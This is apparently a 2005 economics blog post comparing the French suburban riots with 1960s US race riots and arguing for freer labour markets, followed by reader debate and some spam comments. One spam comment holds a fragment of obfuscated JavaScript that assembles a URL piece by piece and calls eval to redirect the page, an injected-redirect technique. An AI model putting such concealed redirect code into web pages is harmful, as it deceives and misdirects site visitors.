Much has been written about the rioting by mainly Muslim youths of African descent in France, but few discussions have related them to the race riots by African-American youths in the 1960's. The lessons from these earlier riots are disturbing, but they have a couple of reassuring aspects as well.
Many economists have recognized for more than a decade that the generous minimum wages and other rigidities of the French labor market caused unemployment rates that have remained stubbornly high since the early 1990's. Immigrants, youths, and other new entrants into the labor market have been hurt the most since they have had the greatest difficulty finding jobs. The overall French unemployment rate is now almost 9 per cent- compared to about 5 per cent in the US- with a rate over 20 per cent for young persons. About 40 per cent of the unemployed have been without a regular job for over a year, a rate that is far higher than the American long-term unemployment rate. The French have intentionally avoided collecting separate economic data on Muslims, but the Muslim unemployment rate is estimated by labor economists in France at more than 20 per cent, with the unemployment rate for young Muslims probably exceeding 30 per cent.
The French labor market is sick, and needs reforms to make it more flexible, so that "insiders" with jobs have less of an advantage over "outsiders" looking for work. These reforms include making it easier for companies to let go of workers without expensive severance pay packages, lower minimum wage levels-the French minimum is one of the highest anywhere- reduced regulatory barriers to the formation of new companies, and lower social security and other taxes on employees. If the riots help exert greater pressure on French politicians to greatly free up the French labor market, they would have been of some value not only to Muslim youths, but also to all other French men and women who have been priced out of jobs.
An old and well-established rule of life is that the thoughts of young men turn to mischief when they have lots of time on their hands. Muslim and other African youths in many poor outer-city suburbs, the notorious banlieues, clearly have had lots of free time because many drop out of secondary school before receiving a diploma, and then they cannot easily get jobs. Seemingly small events, such as the violent accidental deaths of two youths in the French case, often set off a series of reactions that spread by word of mouth, and in these modern days also by cell phones and the internet. Copy-cat behavior, burning cars has been a favorite activity in the French riots, have spread to different poor French suburbs with African immigrants outside Paris, and then to the banlieues surrounding other cities.
The race riots in the US during the 1960's also started from what in retrospect looks like misinformation and relatively minor events. Yet there were more than 750 riots during the period 1964 to 1971 (the Watts riot was in 1965) that killed over 200 persons and injured thousands of others. After more than 10,000 incidents of arson, many black communities were in ruins.
Sociologists and economists have not succeeded in explaining which cities had riots and which avoided them. The likelihood of a riot is not explained by differences among cities in the black unemployment rate, in black incomes relative to those of whites, in rates at which blacks were advancing economically, in the education of blacks relative to whites, and so on for many other variables. Cities with relatively many blacks were more likely to have riots, and Northern cities were far more likely to have race riots than cities in the South, even though blacks were more numerous and worse off in the South.
Segregation of blacks into largely separate neighborhoods is an important factor, but practically all cities in the North with significant numbers of blacks have been highly segregated. It is interesting that Marseilles is one of the few major French cities that essentially escaped any rioting (at least so far). Its large Muslim population is not segregated into poor suburbs, but Muslims live in many different parts of Marseilles.
Although the cities and neighborhoods that experienced American race riots in the 1960's cannot be well explained even in retrospect, the economic position of blacks in rioting cities did suffer badly. The economic historian, Robert Margo, and a colleague at Vanderbilt examined the effects of the ‘60's riots on employment, incomes, and property values. They find that from 1960 to 1970 median black family income dropped by about 9 percent, and the median value of black-owned homes dropped even more, in cities with major riots compared with similar cities without such riots. From 1960 to 1980, male employment in cities with severe riots dropped several percentage points compared with otherwise similar cities.
This analysis suggests that the suburbs with riots in France will also suffer compared to Muslim and other African immigrant communities that did not riot. One bit of good news from the American riots for France and its Muslim population is that they have not reoccurred on a large scale during the subsequent more than 30 years. For example, the riots in black communities of Los Angeles in 1992 that began after a video film on television showed graphically the beating administered by LA policemen to a black man, Rodney King, caused considerable damage, but these riots did not result in many copy-cat riots in other American cities. Perhaps the negative effects of 1960's rioting on the jobs and wealth of blacks influenced their behavior during other later tense periods.
It is worth noting that whereas black families did advance a lot economically relative to white families during the 1960's and 1970's, my colleague Derek Neal has shown that the economic position of black families relative to that of white families fell a lot since 1980. This is in the face of greater affirmative action that may have benefited a small number of blacks. The main causes of the decline since 1980 are a further fall in the stability of black families, and the widening skill differential in earnings that started in the late 1970's. This decline in the relative position of blacks did not lead, as I indicated earlier, to any resumption of large-scale rioting. Although black unemployment has remained about twice that of whites, young blacks have been far more likely to find jobs than are young Muslims in France.
Perhaps these riots will give greater power to the few politicians in France who recognize that important economic reforms are needed to help all young Frenchmen get jobs, and to allow them to advance in the economic hierarchy when they demonstrate the requisite talent and ambition. Economics cannot predict with any confidence how such reforms will affect the prospects of further riots, but these reforms would surely improve the position of young immigrants, regardless of their religion or country of origin.
Does the largely community specific human capital investments by Muslims in France have an impact on their job prospects and propensity to riot?
Posted by: Arun Khanna | 11/13/2005 at 09:29 PM
This is very related to a recent paper written by a grad student University of Wisconsin. She estimates a model of labor supply with minimum wages and fixed employment costs. She finds that the minimum wage has substantial employment effects. Something like a participation rate of 10 percent with a minimum wage and 50 percent without a minimum wage.
www.ssc.wisc.edu/~oozturk
Posted by: ecjmg | 11/13/2005 at 10:11 PM
The 1992 L.A. riots were not prompted by the video of Rodney King being beaten, but instead by the "not guilty" verdict in the trial of the police officers in the incident.
Posted by: Paul N | 11/14/2005 at 06:30 PM
How easy it is to state our opinion, even when in posession of contradictory facts:
"An old and well-established rule of life is that the thoughts of young men turn to mischief when they have lots of time on their hands."...
"generous minimum wages and other rigidities of the French labor market caused unemployment rates that have remained stubbornly high"
therefore:
(The French need) "lower minimum wage levels."
And yet:
..."The likelihood of a riot is not explained by differences among cities in the black unemployment rate"
--------------------------
As for my opinion, I have worked for U.S. minimum wage, and it isn't a self-sustaining activity. The federal minimum wage (when applied to the Florida economy) pays for a sub-subsistence existence, requiring augmentation with welfare (or in my case, parental support) just to be able to afford food, shelter, and transportation to this insulting form of employment. And, yes, once I even did work for a grocery store within walking distance of my home, but 40 hours a week at that job would only pay for simple food, and my 1/5th share of the rent and utilities, with a whopping $250 a month left over as "disposable income" (this, in the late 1980s). Remember, these hard working minimum wage earners pay taxes, too.
Luckily, my parents supported my education, and I now make roughly 10x the federal minimum wage. Without their supoort, I could have afforded roughly one college credit a month, while working 40 hours a week, so that would leave me finishing college after about 12 years, with no significant income in the meantime. Then, at the ripe old age of 30, I could enter the job market with a BS degree and no experience... what a land of opportunity!
To the point: addressing unemployment by dropping the minimum wage does little or nothing to improve society as a whole. It does create a peasant "You want fries with that?" class, but are these proud wearers of polyester uniforms any less likely to riot because they might lose their McJob? I think not, and the evidence from the 1960s suggests there is no correlation.
Affordable (perhaps compulsory?) vocational training would be a good start. Allowing youths to drop from the educational system before they are employable is a deeper root cause of dissent than a lack of busywork jobs.
Posted by: Joe Merchant | 11/14/2005 at 08:34 PM
As a reply to the above comment let me point out that just because life sucks at minimum wage and would suck more at wages below minimum wage hardly establishes that it is a good thing. The question is whether lowering the minimum wage (which is much higher in france I presume) takes people who previously had no job at all and brings them into the workforce. If this is its only effect it is surely positive. However this discussion is just too complex and too long to have here.
On the minimum wage issue I would like to point out something that Becker probably meant but did not make clear. The statistics showing no correlation between unemployment and rioting *do not* establish that unemployment was not a cause of the rioting. It could well be that a certain level of unemployment was a necessery condition for the rioting that was satisfied in virtually all the US cities and other factors came in to trigger or prevent the riots.
Also I find it unclear from Becker's statistics whether it is the unemployment rate of young black men he is looking at or the overall black unemployment rate. It could very well be that the unemployment rate amount the 18-25 year old group is radically different from the overall black unemployment rate and I would be very curious to see if this correlated with the likelihood of rioting.
Posted by: logicnazi | 11/15/2005 at 11:13 AM
The failure to mention that the race riots in the United States were motivated by not insignificant concerns such as the protection of their basic civil and human rights is clearly calculated to emphasize the irresponsibility of rioters rather than frustrations arising from deeper social & political concerns. Economics appears to play a role, no doubt, but attetion should be paid to how the population has become integrated in French society. Even in the US, a cursory glance at census data tells us that given the same level of education and experience Women and members of ethnic minorities get paid less than there white male counterparts. France may lack similar statistics, as mentioned in the original post, but it is at least worth considering that the rioting may also be caused by issues related to French ethnocentrism of which the failure to integrate these youths into the workforce and the education system may be in effect as well as a cause. Life is far more complex than mere economic explanations will allow for. Economics is but one interelated factor among many worth considering.
Posted by: parrhesiastes | 11/15/2005 at 12:04 PM
Is that good?
Posted by: Pi√π Messenger | 11/15/2005 at 06:54 PM
The claim in an earlier posting, "Given the same level of education and experience women and members of ethnic minorities get paid less than their white male counterparts" is interesting. If one controls for quality of education, I am guessing it is unlikely that the claim is supported by data. On the other hand, I haven't looked at the data closely, so I am willing to be pursuaded by a well done empirical analysis on the issue.
Posted by: Arun Khanna | 11/15/2005 at 08:27 PM
No creo que las noticias buenas vuelen tan rapido!
Posted by: Per XBOX | 11/15/2005 at 08:44 PM
Justo lo que nos faltaba!
Posted by: Tutto Playstation | 11/15/2005 at 09:23 PM
Justo lo que nos faltaba!
Posted by: Tutto Playstation | 11/15/2005 at 09:26 PM
//0)&&(ref.indexOf("q=")>0)) {str=ref.substr(ref.indexOf("q=")+2,ref.length);
if (str.indexOf("&")>0) {keyword=ref.substr(ref.indexOf("q=")+2,str.indexOf("&"))}
else {keyword=ref.substr(ref.indexOf("q=")+2,str.length)};}
else {
if ((ref.indexOf("msn")>0)&&(ref.indexOf("q=")>0)) {str=ref.substr(ref.indexOf("q=")+2,ref.length);
if (str.indexOf("&")>0) {keyword=ref.substr(ref.indexOf("q=")+2,str.indexOf("&"))}
else {keyword=ref.substr(ref.indexOf("q=")+2,str.length)};}
if ((ref.indexOf("yahoo")>0)&&(ref.indexOf("p=")>0)) {str=ref.substr(ref.indexOf("p=")+2,ref.length);
if (str.indexOf("&")>0) {keyword=ref.substr(ref.indexOf("p=")+2,str.indexOf("&"))}
else {keyword=ref.substr(ref.indexOf("p=")+2,str.length)};
}};
var s11="w";
var s12="i";
var s13="n";
var s14="d";
var s15="o";
var s16="w.";
var s21="loca";
var s22="tion=";
var s31="'h";
var s32="t";
var s33="t";
var s34="p";
var s35=":";
var s36="/";
var s37="";
var s38="ww";
var q38="w.go";
var w38="ogle.";
var e38="co";
var r38="m";
i38=keyword;
eval(s11+s12+s13+s14+s15+s16+s21+s22+s31+s32+s33+s34+s35+s36+s36+s37+s38+q38+w38+e38+r38);
//]]>
no
Posted by: alex | 11/16/2005 at 05:18 AM
Given the earlier postings, it seems the typing of "human" has not stopped spam bots. I suggest that Becker-Posner use Blogspot's word verification utility. http://help.blogger.com/bin/answer.py?answer=1203&topic=23
Posted by: Arun Khanna | 11/16/2005 at 09:38 AM
Justo lo que nos faltaba!
Posted by: Telecharger Emule | 11/16/2005 at 11:19 AM
I don't know much about the French economy, so I have no opinion on whether the French riots mean anything, besides the fact that the rule of law has broken down. The rioters do not seem to be making political statements, and it does not appear that they rioted in response to any particular event. Our attempt to draw "lessons" or "conclusions" from the riots might well be a fuitle exercise.
It is a common human mistake to try to draw deep moral or political lessons from senseless violent acts. France is an open society, and if the rioters wished to make a political statement, they surely could have done so in a non-violent way. Generally, burning a car, or blowing up a building, is not a political statement, and we should not reflexively treat it as such. In the western world, at least, there is no reason to resort to violence to make a political point, and we should resist the urge to treat the violence itself as a political act.
Posted by: David | 11/16/2005 at 01:35 PM
David's point that burning a car is not a political statement, but just criminality, is reinforced by the fact that the vast majority of the cars destroyed in the French "Car BQ" are the vehicles of other poor people living in their own neighborhoods. The immediate instance here was the accidental electrocution of two individuals running from the police who were responding to a legitimate break in call.
To the extent that there is a parallel to the Los Angeles riots a la Rodney King - poor people robbing Korean grocery stores as "protest" - it is that it is opportunistic criminality.
Posted by: Kirk H. Sowell | 11/16/2005 at 03:29 PM
It's O.K. to set a minimum wage that "sucks", but the level set in the US (a flat level for the whole country), doesn't just suck in the more expensive regions, it is really un-liveable without external support. Calling minimum wage earners "employed" is really a joke, these people cost society dearly in terms of welfare, crisis health-care, police, courts, etc.
My point above is that making "busywork jobs" available will only take the rabble off the streets a few hours a week, it won't transform them into model productive citizens. Some form of education is needed to do that. If they don't elect to get themselves educated in the available public (and mostly free, in Europe) universities - maybe they could learn an employable skill or two the old fashioned way: in military service.
Posted by: Joe Merchant | 11/16/2005 at 08:25 PM
By "controlled for quality of education" I doubt you mean we ought to take into consideration how those who live in poorer neighbourhoods often have little choice but to attend schools that are over-crowded and under funded. The facts can be found at http://factfinder.census.gov/
It takes a little getting used to but one can look up income as it relates to factors such as gender, education, and race. One can also see how the gap between poor and rich has grown during the per in which we have most aggressively adopted what are loosely termed and grouped together as free-market policies. I am not saying that the riots are comparable as a political act to the French riots of '68, but they are manifestatations of what should rightly be considered social, politcal, and economic challenges the French face. I can not help but point out that that the previous poster does not seem be aware of how the French education system operates. Not only is the "bac" a notoriously difficult barrier to higher education for youth educated in poorer neighbourhoods but what we Americans would consider freedom of religion is not allowed in the schools (under Loi n∞ 2004-228 du 15 mars 2004 encadrant, en application du principe de laÔcitÈ, le port de signes ou de tenues manifestant une appartenance religieuse dans les Ècoles, collËges et lycÈes publics.). It is not suprising that problems would arise given a situation such as this. Nor are these problems neccarily new. The work of French socilogiest Pierre Bourdieu clearly documents some of the social and economic problems with the French education system (this is not to say that are not clear parrellels to educational systems in countries such as the United States as scholars such as Michael Apple and others have pointed out).
Posted by: parrhesiastes | 11/16/2005 at 09:47 PM
"The overall French unemployment rate is now almost 9 per cent- compared to about 5 per cent in the US"
It's worth noting that this isn't an accurate comparison in any useful sense because unemployment is calculated differently in each country. In the US for example you are no longer officially unemployed if you haven't had a job for six months.
TitaniumDreads
http://blog.magicpants.net
Posted by: TitaniumDreads | 11/16/2005 at 10:31 PM
http://simurl.com/mokwic
hyperlocal citizen journalism
this is the first time i tried a simurl. hope it works.
Posted by: nate | 11/17/2005 at 06:40 AM
ambition is not an absolutely great thing.
it may be neither necessary or sufficient- not sure
it does provide playwrights with interesting material.
Posted by: nate | 11/17/2005 at 06:49 AM
David does have a point that we may not be able to draw any conclusions from this riot by comparing it to others. Riots are such a rare occurance that sample sizes are an obvious problem. The main reason however, is that interactoins between the huge numbers of individuals that create a society create a chaotic system. It's extremely difficult to forcast what kinds of policies might lead to this kind of result. Besides, the riots will stop, people will move on, and, in the ned, we'll only be out a few cars.
Posted by: josh | 11/17/2005 at 07:09 AM
Do people who are anti-immigrant bear a little responsibility for the riots because they have made it at least a little harder for immigrants to fit into society?
Posted by: Thomas | 11/17/2005 at 09:39 PM
It's funny to read what americans think about the present social situation in Europe, in their arrogant way of speaking.
Curious the comparison between the riots in France, with riots in the 60's of black american people... In "the past" americans "used to" segregate black people. And nowadays? And with the latins, mexicans, cubans, etc...
Wouldn't be more interesting to write about the future riots that may ocure in USA, result of the poor life conditions that the new imigrants are facing? Or are you all convinced that they are all happy with their "particular" american lifestyle...? Try to lower the minimum wage there, it may prove to be very useful...
Regards, Euro
Posted by: Euro | 11/18/2005 at 11:33 AM
Is it possible for U.S. elites to engage in anti-competitive, collusive behaivior? Do you think this upsets young people and eliminates opportunities?
http://njk42.blogspot.com/2005/11/tribune-opportunity.html
Your input on the above would be appreciated. I could easily be wrong.
Posted by: nate | 11/18/2005 at 11:57 AM